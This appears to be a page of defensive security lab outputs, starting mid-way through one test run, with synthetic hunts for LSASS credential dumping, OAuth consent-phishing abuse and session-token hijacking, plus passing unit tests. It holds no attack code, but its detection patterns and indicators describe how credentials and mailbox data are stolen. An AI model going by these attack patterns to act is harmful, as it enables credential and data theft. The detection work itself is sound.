ok test_01_full_chain_observed (test_pipeline_chain_analyzer.TestChain.test_01_full_chain_observed) ... ok test_02_all_five_stages (test_pipeline_chain_analyzer.TestChain.test_02_all_five_stages) ... ok test_03_stale_identity (test_pipeline_chain_analyzer.TestChain.test_03_stale_identity) ... ok test_04_offhours_run (test_pipeline_chain_analyzer.TestChain.test_04_offhours_run) ... ok test_05_unexpected_digest (test_pipeline_chain_analyzer.TestChain.test_05_unexpected_digest) ... ok test_06_unsigned_image (test_pipeline_chain_analyzer.TestChain.test_06_unsigned_image) ... ok test_07_deploy_non_trusted_digest (test_pipeline_chain_analyzer.TestChain.test_07_deploy_non_trusted_digest) ... ok test_08_excessive_rbac (test_pipeline_chain_analyzer.TestChain.test_08_excessive_rbac) ... ok test_09_kube_system_workload (test_pipeline_chain_analyzer.TestChain.test_09_kube_system_workload) ... ok test_10_cloud_access (test_pipeline_chain_analyzer.TestChain.test_10_cloud_access) ... ok test_11_image_delete_is_review (test_pipeline_chain_analyzer.TestChain.test_11_image_delete_is_review) ... ok test_12_dfir_sources (test_pipeline_chain_analyzer.TestChain.test_12_dfir_sources) ... ok ---------------------------------------------------------------------- Ran 16 tests in 0.013s OK
Files
🟢 SOC War Room · Silent Credential Theft (FIN-WS-117) · 08 Oct 2026
Verdict: H1 SUPPORTED · H2 REJECTED · H3 SUPPORTED · correlation 4/4 CRITICAL · 20/20 tests · synthetic data
Run it
cd silent-credential-theft python3 make_lsass_lab_data.py python3 lsass_credential_hunter.py lsass_events_SYNTHETIC.csv lsass_context_SYNTHETIC.json python3 -m unittest test_lsass_credential_hunter -v
Captured analyzer output
============================================================================== GraySentinel DSOU · Silent Credential Theft hunt · 1 case(s) ============================================================================== LSASS access events: 28 total · 27 expected (edr-agent.exe, msmpeng.exe) · 1 suspicious [CRITICAL] FIN-WS-117 (10.20.31.117) session=f.rao correlation=4/4 -- Mission 01 triage -- process C:\Users\f.rao\AppData\Local\Temp\dbgsvc.exe parent C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE cmdline dbgsvc.exe <redacted-synthetic-arguments> signed false hash SYNTH-SHA256-0000BADC0FFEE117 granted_access 0x1010 lsass_access_ts 2026-10-08T04:10:20Z hash_seen_on ['FIN-WS-117'] accounts_involved ['adm.kiran', 'f.rao'] privileged_accounts ['adm.kiran'] failed_logons 6 successful_type3 3 explicit_credential_events 1 edr_alerts 1 -- Mission 02 hypotheses -- H1 SUPPORTED source image not on the approved LSASS-reader list | binary is unsigned | runs from a user-writable path | GrantedAccess 0x1010 includes PROCESS_VM_READ | unusual parent winword.exe | EDR credential-access alert on the same process | hash first-seen, present on this host only H2 REJECTED no change/incident ticket for the destinations | FIN-WS-117 is not an approved admin source for adm.kiran | admin tools are not spawned by an Office application H3 SUPPORTED explicit credentials (4648) for privileged adm.kiran | new destinations (0 prior logons): FILE-SRV-03, FIN-WS-121 | 14 reads on sensitive share \\FILE-SRV-03\Finance$ | same account on another workstation: FIN-WS-121 | 4 unusual service tickets (RC4 / first-seen SPN) | 6 failed network logons from FIN-WS-117 first -- Mission 03 timeline -- 2026-10-08 04:02:10Z 4624/2 f.rao logs on to FIN-WS-117 2026-10-08 04:10:05Z 4688 winword.exe → dbgsvc.exe (signed=false) 2026-10-08 04:10:20Z Sysmon10 dbgsvc.exe accesses lsass.exe GrantedAccess=0x1010 2026-10-08 04:10:22Z EDR EDR: suspicious credential-access behaviour (alert only, not blocked) 2026-10-08 04:12:30Z 4625 first of 6 failed network logons from FIN-WS-117 (adm.kiran, administrator, svc.finbackup) 2026-10-08 04:14:50Z 4624/3 f.rao → FILE-SRV-03 (NTLM) 2026-10-08 04:15:20Z 4648 f.rao uses explicit credentials for adm.kiran@FILE-SRV-03 2026-10-08 04:15:25Z 4624/3 adm.kiran → FILE-SRV-03 (NTLM) 2026-10-08 04:15:26Z 4672 adm.kiran on FILE-SRV-03: SeBackupPrivilege;SeDebugPrivilege;SeTakeOwnershipPrivilege 2026-10-08 04:15:40Z 4769 4 service tickets: cifs/FILE-SRV-03, MSSQLSvc/SQL-FIN-01:1433, cifs/FILE-SRV-02, HOST/FIN-WS-121 2026-10-08 04:17:05Z 5145 14 file reads on \\FILE-SRV-03\Finance$ by adm.kiran 2026-10-08 04:20:25Z 4624/3 adm.kiran → FIN-WS-121 (NTLM) 2026-10-08 04:20:26Z 4672 adm.kiran on FIN-WS-121: SeDebugPrivilege;SeBackupPrivilege -- Mission 05 scope: investigate next -- 1. FIN-WS-117 (source — isolate, preserve memory + Sysmon/EDR) 2. DC-01 (Domain Controller — 4768/4769/4776 for adm.kiran, f.rao) 3. FILE-SRV-03 (File Server — logons by adm.kiran, f.rao) 4. FIN-WS-121 (Workstation — logons by adm.kiran) 5. FILE-SRV-02 (service ticket requested — check for a later logon) 6. SQL-FIN-01 (service ticket requested — check for a later logon) -- Mission 07 correlation -- A_lsass_access=YES B_type3_to_server=YES C_other_workstation=YES D_sensitive_share=YES gaps: A→B 4.5 min · A→C 10.1 min -- H2 control: privileged logons NOT from a flagged host -- 2026-10-05T06:10:00Z adm.kiran → FIN-WS-117 from PAW-ADMIN-01 ticket=None LEGITIMATE 2026-10-06T05:00:00Z adm.kiran → FILE-SRV-03 from PAW-ADMIN-01 ticket=CHG-4471 LEGITIMATE
Captured test run
test_18_baseline_only_is_clean (test_lsass_credential_hunter.TestBaselineAndRobustness.test_18_baseline_only_is_clean) ... ok test_19_malformed_rows_skipped (test_lsass_credential_hunter.TestBaselineAndRobustness.test_19_malformed_rows_skipped) ... ok test_20_cli_exit_codes (test_lsass_credential_hunter.TestBaselineAndRobustness.test_20_cli_exit_codes) ... ok test_08_h1_supported (test_lsass_credential_hunter.TestHypotheses.test_08_h1_supported) ... ok test_09_h2_rejected_no_ticket_non_paw (test_lsass_credential_hunter.TestHypotheses.test_09_h2_rejected_no_ticket_non_paw) ... ok test_10_h3_supported_with_explicit_creds (test_lsass_credential_hunter.TestHypotheses.test_10_h3_supported_with_explicit_creds) ... ok test_11_privileged_account_involved (test_lsass_credential_hunter.TestHypotheses.test_11_privileged_account_involved) ... ok test_12_legit_admin_from_paw_is_legitimate (test_lsass_credential_hunter.TestHypotheses.test_12_legit_admin_from_paw_is_legitimate) ... ok test_13_new_destinations (test_lsass_credential_hunter.TestLateralAndCorrelation.test_13_new_destinations) ... ok test_14_sensitive_share_and_kerberos (test_lsass_credential_hunter.TestLateralAndCorrelation.test_14_sensitive_share_and_kerberos) ... ok test_15_full_correlation_is_critical (test_lsass_credential_hunter.TestLateralAndCorrelation.test_15_full_correlation_is_critical) ... ok test_16_lsass_alone_is_only_medium (test_lsass_credential_hunter.TestLateralAndCorrelation.test_16_lsass_alone_is_only_medium) ... ok test_17_scope_order_source_dc_server_workstation (test_lsass_credential_hunter.TestLateralAndCorrelation.test_17_scope_order_source_dc_server_workstation) ... ok test_01_exactly_one_case (test_lsass_credential_hunter.TestTriageAndDetection.test_01_exactly_one_case) ... ok test_02_process_and_parent_identified (test_lsass_credential_hunter.TestTriageAndDetection.test_02_process_and_parent_identified) ... ok test_03_signature_hash_mask (test_lsass_credential_hunter.TestTriageAndDetection.test_03_signature_hash_mask) ... ok test_04_defender_and_edr_not_flagged (test_lsass_credential_hunter.TestTriageAndDetection.test_04_defender_and_edr_not_flagged) ... ok test_05_lsass_existing_alone_never_alerts (test_lsass_credential_hunter.TestTriageAndDetection.test_05_lsass_existing_alone_never_alerts) ... ok test_06_approved_path_but_unsigned_is_not_expected (test_lsass_credential_hunter.TestTriageAndDetection.test_06_approved_path_but_unsigned_is_not_expected) ... ok test_07_query_only_mask_by_unknown_signed_tool_is_review (test_lsass_credential_hunter.TestTriageAndDetection.test_07_query_only_mask_by_unknown_signed_tool_is_review) ... ok ---------------------------------------------------------------------- Ran 20 tests in 0.030s OK
Files
🟡 Intel War Room · Consent Trap (OAuth consent abuse) · 08 Oct 2026
Assessment: identity-based intrusion via OAuth consent · confidence HIGH · attribution NONE · 20/20 tests · synthetic data
Run it
cd consent-trap python3 make_consent_lab_data.py python3 oauth_consent_hunter.py cloud_audit_SYNTHETIC.csv consent_context_SYNTHETIC.json python3 -m unittest test_oauth_consent_hunter -v
Captured analyzer output
==============================================================================
GraySentinel RIU · Consent Trap — OAuth consent abuse hunt
==============================================================================
Assessment: IDENTITY-BASED INTRUSION VIA OAUTH CONSENT (campaign: multiple users)
Confidence: HIGH · Attribution: none — no evidence ties this to a named actor
Affected users: finance.user, hr.user
CLOUD APPLICATION COMPROMISE HUNT TABLE (activity after each app's first consent; times IST)
01 Jun 11:30:00 NORMAL it.admin Example Expense Cloud Consent to application — approved application
07 Oct 11:30:00 NORMAL it.admin TeamBoard Planner Consent to application — approved application
08 Oct 08:15:00 NORMAL sales.user Example PDF Reader Consent to application — verified publisher, low-risk scope only (User.Read)
08 Oct 08:42:11 SUSPICIOUS finance.user Secure Document Verification Consent to application — not on the approved-application list; first-seen application in the tenant; publisher not verified; high-risk data scopes: Files.Read.All, Mail.ReadBasic
08 Oct 08:49:32 SUSPICIOUS finance.user Secure Document Verification API request ×12 — 7 min after consent; source 203.0.113.45 in DE — user baseline IN
08 Oct 09:03:18 HIGH PRIORITY finance.user Secure Document Verification MailItemsAccessed ×340 — 21 min after consent; source 203.0.113.45 in DE — user baseline IN; 340 mail items via app token (non-interactive)
08 Oct 09:07:42 HIGH PRIORITY finance.user Secure Document Verification FileAccessed ×15 — 26 min after consent; source 203.0.113.45 in DE — user baseline IN; 15 files on 'Finance-Treasury' — site outside the user's 30-day baseline
08 Oct 09:07:58 HIGH PRIORITY finance.user Secure Document Verification FileDownloaded ×8 — 26 min after consent; source 203.0.113.45 in DE — user baseline IN; 8 files on 'Board-Packs' — site outside the user's 30-day baseline
08 Oct 09:21:11 HIGH PRIORITY hr.user Secure Document Verification Consent to application — second user consenting to the same app (after finance.user); not on the approved-application list; first-seen application in the tenant; publisher not verified; high-risk data scopes: Files.Read.All, Mail.ReadBasic
08 Oct 09:31:52 HIGH PRIORITY finance.user Secure Document Verification API request ×55 — 50 min after consent; source 203.0.113.45 in DE — user baseline IN; same app active for 2 users
08 Oct 09:31:52 HIGH PRIORITY hr.user Secure Document Verification API request ×31 — 11 min after consent; source 203.0.113.45 in DE — user baseline IN; same app active for 2 users
(+ 23 NORMAL activity rows of approved applications not listed)
APPLICATION RISK PROFILE
Example Expense Cloud [0e0e0000-0000-4000-8000-00000000e1e1] publisher=Example Expense Inc verified=True risk_attributes=0 users=['it.admin']
TeamBoard Planner [7b7b0000-0000-4000-8000-00000000b0a2] publisher=TeamBoard Software GmbH verified=True risk_attributes=0 users=['it.admin']
Example PDF Reader [9d9d0000-0000-4000-8000-00000000d0f3] publisher=Example PDF Corp verified=True risk_attributes=2 users=['sales.user']
- not on the approved-application list
- first-seen application in the tenant
Secure Document Verification [5d0c0000-0000-4000-8000-00000000c7a9] publisher=SecureDocs Verification Ltd verified=False risk_attributes=7 users=['finance.user', 'hr.user']
- not on the approved-application list
- first-seen application in the tenant
- publisher not verified
- high-risk data scopes: Files.Read.All, Mail.ReadBasic
- offline_access = access survives the session (refresh token)
- granted by end-user consent, not admin review
- generic trust-bait name (secure, verification, document)
DETECTION HYPOTHESIS — new OAuth consent followed by unusual cloud activity
fired=True finance.user → Secure Document Verification consent 2026-10-08T03:12:11Z first API +7.3 min first data +21.1 min countries=['DE'] api=67 mail=340 files=23 new_sites=['Board-Packs', 'Finance-Treasury']
fired=True hr.user → Secure Document Verification consent 2026-10-08T03:51:11Z first API +10.7 min first data +None min countries=['DE'] api=31 mail=0 files=0 new_sites=[]
INDICATORS
application_name Secure Document Verification
application_id 5d0c0000-0000-4000-8000-00000000c7a9
publisher SecureDocs Verification Ltd
redirect_uri_domains ['secure-docverify.example.net']
domains ['secure-docverify.example.net']
related_domains_osint ['hr-docverify.example.org', 'secure-docsign.example.net']
source_ips ['203.0.113.45']
countries ['DE']
permissions ['Files.Read.All', 'Mail.ReadBasic', 'User.Read', 'offline_access']
consenting_users ['finance.user', 'hr.user']
DELIVERY (lure clicks carrying the same client_id)
2026-10-08T03:11:30Z finance.user https://secure-docverify.example.net/share/Q3-audit-confirmation
2026-10-08T03:49:40Z hr.user https://secure-docverify.example.net/share/policy-acknowledgement
REVOKE FIRST
- delegated grant + refresh tokens: finance.user → Secure Document Verification
- delegated grant + refresh tokens: hr.user → Secure Document Verification
- disable service principal 5d0c0000-0000-4000-8000-00000000c7a9 tenant-wide
Captured test run
test_15_single_user_is_medium (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_15_single_user_is_medium) ... ok test_16_consent_without_activity_is_low_and_not_fired (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_16_consent_without_activity_is_low_and_not_fired) ... ok test_17_admin_approved_app_never_fires_even_if_listed_scopes_grow (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_17_admin_approved_app_never_fires_even_if_listed_scopes_grow) ... ok test_18_baseline_only_is_clean (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_18_baseline_only_is_clean) ... ok test_19_malformed_rows_skipped (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_19_malformed_rows_skipped) ... ok test_20_cli_exit_codes (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_20_cli_exit_codes) ... ok test_01_first_consent_is_suspicious_not_high (test_oauth_consent_hunter.TestHuntTable.test_01_first_consent_is_suspicious_not_high) ... ok test_02_first_api_call_is_suspicious (test_oauth_consent_hunter.TestHuntTable.test_02_first_api_call_is_suspicious) ... ok test_03_mailbox_from_germany_is_high (test_oauth_consent_hunter.TestHuntTable.test_03_mailbox_from_germany_is_high) ... ok test_04_out_of_baseline_file_access_is_high (test_oauth_consent_hunter.TestHuntTable.test_04_out_of_baseline_file_access_is_high) ... ok test_05_second_user_consent_is_high (test_oauth_consent_hunter.TestHuntTable.test_05_second_user_consent_is_high) ... ok test_06_multi_user_api_is_high (test_oauth_consent_hunter.TestHuntTable.test_06_multi_user_api_is_high) ... ok test_07_approved_and_low_risk_apps_are_normal (test_oauth_consent_hunter.TestHuntTable.test_07_approved_and_low_risk_apps_are_normal) ... ok test_08_risk_profile_flags (test_oauth_consent_hunter.TestProfileAndDetection.test_08_risk_profile_flags) ... ok test_09_detection_fires_for_both_users (test_oauth_consent_hunter.TestProfileAndDetection.test_09_detection_fires_for_both_users) ... ok test_10_time_deltas (test_oauth_consent_hunter.TestProfileAndDetection.test_10_time_deltas) ... ok test_11_exposure_counts (test_oauth_consent_hunter.TestProfileAndDetection.test_11_exposure_counts) ... ok test_12_iocs (test_oauth_consent_hunter.TestProfileAndDetection.test_12_iocs) ... ok test_13_delivery_clicks_linked_by_client_id (test_oauth_consent_hunter.TestProfileAndDetection.test_13_delivery_clicks_linked_by_client_id) ... ok test_14_assessment_high_but_no_attribution (test_oauth_consent_hunter.TestProfileAndDetection.test_14_assessment_high_but_no_attribution) ... ok ---------------------------------------------------------------------- Ran 20 tests in 0.033s OK
Files
🔴 Red-Team War Room · Ghost Session (valid-session abuse) · 08 Oct 2026 · LAB ONLY
Decision: CONTAIN · 5/5 trust dimensions failed · pivot 10:39 · blue-team analyzer 20/20 tests · no offensive code · synthetic data
Run it
cd ghost-session python3 make_session_lab_data.py python3 session_trust_analyzer.py session_telemetry_SYNTHETIC.csv session_context_SYNTHETIC.json python3 -m unittest test_session_trust_analyzer -v
Captured analyzer output
============================================================================== GraySentinel SSOU · Ghost Session — session-trust analysis (blue-team view) · 2026-10-08 ============================================================================== Decision: CONTAIN · dimensions failed: Behaviour + Device + Location + Resource + Time · EDR verdict on the endpoint: clean SESSIONS S-1001 TRUSTED devices=['FIN-LT-22'] ips=['198.51.100.22'] countries=['IN'] mfa=satisfied failed=[] S-1002 NOT THE OWNER devices=['UNREGISTERED-DEV'] ips=['198.51.100.50', '203.0.113.88'] countries=['IN', 'NL'] mfa=inherited failed=['Behaviour', 'Device', 'Location', 'Resource', 'Time'] IDENTITY ATTACK TIMELINE (IST) 10:02 INFO FIN-LT-22 198.51.100.22 → IDP signin conf=High interactive sign-in; compliant managed device 10:07 MEDIUM UNREGISTERED-DEV 198.51.100.50 → IDP session_created conf=Medium session on an unregistered device; new session without a fresh MFA challenge; identity active in two environments at once 10:07 INFO UNREGISTERED-DEV 198.51.100.50 → RA-GW-01 tunnel_up conf=High remote-access tunnel; pool address 10.50.99.14; posture check skipped (legacy profile) 10:13 INFO FIN-LT-22 198.51.100.22 → FinLedger app_access conf=High normal finance application 10:13 INFO FIN-LT-22 10.50.22.22 → finledger.corp-cloud.lab http_connect conf=High matches baseline 10:21 HIGH UNREGISTERED-DEV 198.51.100.50 → Cloud Console app_access conf=High previously unseen application; cloud says yes, endpoint says no 10:26 HIGH UNREGISTERED-DEV 10.50.99.14 → FS-FIN-02 auth conf=Medium first-seen internal resource 10:31 HIGH UNREGISTERED-DEV 10.50.99.14 → \\FS-FIN-02\Treasury file_access conf=High mass file access 10:35 INFO FIN-LT-22 10.50.22.22 → EDR scan conf=High FIN-LT-22: no malware, no suspicious process; browser + office apps only 10:39 CRITICAL UNREGISTERED-DEV 203.0.113.88 → IDP token_use conf=High one session token in two geographies 10:40 INFO FIN-LT-22 198.51.100.22 → FinLedger app_access conf=High owner still working normally 10:40 INFO FIN-LT-22 10.50.22.22 → finledger.corp-cloud.lab http_connect conf=High matches baseline 10:44 HIGH UNREGISTERED-DEV 203.0.113.88 → MailSync Helper app_permission_grant conf=High activity from a country outside the identity baseline; application permission granted from the suspect session 10:51 INFO FIN-LT-22 helpdesk → HELPDESK user_statement conf=High user: 'I was working normally. I didn't install anything or share my password.' 18:20 INFO FIN-LT-22 198.51.100.22 → IDP signout conf=High matches baseline 19:40 HIGH UNREGISTERED-DEV 203.0.113.88 → IDP token_refresh conf=Medium activity from a country outside the identity baseline; session active outside working hours PIVOT EVENT (unusual login → potential identity compromise) 2026-10-08T05:09:00Z one session token in two geographies — token T-B7 used from IN and then NL (203.0.113.88) 18 min apart — a session does not travel; the owner's laptop session is still active FINDINGS BY DIMENSION [MEDIUM ] Device 10:07 session on an unregistered device — UNREGISTERED-DEV is not a managed/compliant device (new cloud session) [MEDIUM ] Device 10:07 new session without a fresh MFA challenge — MFA status 'satisfied' was inherited from existing session context, not re-proved [MEDIUM ] Location 10:07 identity active in two environments at once — S-1002 on UNREGISTERED-DEV via 198.51.100.50 while S-1001 is live on FIN-LT-22 [MEDIUM ] Behaviour 10:21 previously unseen application — 'Cloud Console' never used by this identity in the 30-day baseline [HIGH ] Behaviour 10:21 cloud says yes, endpoint says no — no proxy/DNS record from the owner's managed device for 'Cloud Console' at this time [HIGH ] Resource 10:26 first-seen internal resource — FS-FIN-02 from UNREGISTERED-DEV (10.50.99.14); NTLM; baseline servers ['FS-FIN-01'] [HIGH ] Behaviour 10:31 mass file access — 412 files on \\FS-FIN-02\Treasury; daily baseline ≤ 25 [CRITICAL] Location 10:39 one session token in two geographies — token T-B7 used from IN and then NL (203.0.113.88) 18 min apart — a session does not travel; the owner's laptop session is still active [HIGH ] Location 10:44 activity from a country outside the identity baseline — NL (203.0.113.88); baseline IN [HIGH ] Behaviour 10:44 application permission granted from the suspect session — 'MailSync Helper': delegated permissions granted: Mail.Read offline_access — a persistence opportunity that outlives the session [HIGH ] Location 19:40 activity from a country outside the identity baseline — NL (203.0.113.88); baseline IN [MEDIUM ] Time 19:40 session active outside working hours — 19:40 IST; normal hours 09:00–19:00 — owner signed out at 18:20 BLUE-TEAM SUCCESS CRITERIA WHO finance.manager — the identity; session S-1002 is assessed as NOT THE OWNER WHERE UNREGISTERED-DEV via 198.51.100.50, 203.0.113.88 (IN/NL); owner on FIN-LT-22 WHEN 10:07–19:40 IST on 2026-10-08 WHAT Cloud Console, FS-FIN-02, MailSync Helper, RA-GW-01, \\FS-FIN-02\Treasury HOW valid session context — MFA 'inherited', no new password or MFA event, no malware on the endpoint IMPACT 412 files read; sensitive resources reached: Cloud Console, FS-FIN-02, \\FS-FIN-02\Treasury; application grants: MailSync Helper
Captured test run
test_09_pivot_is_the_token_in_two_geographies (test_session_trust_analyzer.TestPivotAndDecision.test_09_pivot_is_the_token_in_two_geographies) ... ok test_10_everything_before_the_pivot_is_owner_explainable (test_session_trust_analyzer.TestPivotAndDecision.test_10_everything_before_the_pivot_is_owner_explainable) ... ok test_11_decision_is_contain (test_session_trust_analyzer.TestPivotAndDecision.test_11_decision_is_contain) ... ok test_12_without_geo_proof_decision_is_investigate (test_session_trust_analyzer.TestPivotAndDecision.test_12_without_geo_proof_decision_is_investigate) ... ok test_13_owner_only_day_is_monitor (test_session_trust_analyzer.TestPivotAndDecision.test_13_owner_only_day_is_monitor) ... ok test_14_baseline_day_is_clean (test_session_trust_analyzer.TestPivotAndDecision.test_14_baseline_day_is_clean) ... ok test_19_malformed_rows_skipped (test_session_trust_analyzer.TestRobustness.test_19_malformed_rows_skipped) ... ok test_20_cli_exit_codes (test_session_trust_analyzer.TestRobustness.test_20_cli_exit_codes) ... ok test_01_owner_session_is_trusted (test_session_trust_analyzer.TestSessionTrust.test_01_owner_session_is_trusted) ... ok test_02_ghost_session_is_not_the_owner (test_session_trust_analyzer.TestSessionTrust.test_02_ghost_session_is_not_the_owner) ... ok test_03_all_five_dimensions_fail (test_session_trust_analyzer.TestSessionTrust.test_03_all_five_dimensions_fail) ... ok test_04_unregistered_device_and_inherited_mfa (test_session_trust_analyzer.TestSessionTrust.test_04_unregistered_device_and_inherited_mfa) ... ok test_05_two_environments_at_once (test_session_trust_analyzer.TestSessionTrust.test_05_two_environments_at_once) ... ok test_06_unseen_app_and_endpoint_mismatch (test_session_trust_analyzer.TestSessionTrust.test_06_unseen_app_and_endpoint_mismatch) ... ok test_07_first_seen_internal_resource_and_mass_access (test_session_trust_analyzer.TestSessionTrust.test_07_first_seen_internal_resource_and_mass_access) ... ok test_08_permission_grant_and_after_hours (test_session_trust_analyzer.TestSessionTrust.test_08_permission_grant_and_after_hours) ... ok test_15_timeline_has_all_required_fields (test_session_trust_analyzer.TestTimelineAndAnswers.test_15_timeline_has_all_required_fields) ... ok test_16_timeline_risk_peaks_at_pivot (test_session_trust_analyzer.TestTimelineAndAnswers.test_16_timeline_risk_peaks_at_pivot) ... ok test_17_success_criteria_answered (test_session_trust_analyzer.TestTimelineAndAnswers.test_17_success_criteria_answered) ... ok test_18_exposure_and_edr_clean (test_session_trust_analyzer.TestTimelineAndAnswers.test_18_exposure_and_edr_clean) ... ok ---------------------------------------------------------------------- Ran 20 tests in 0.034s OK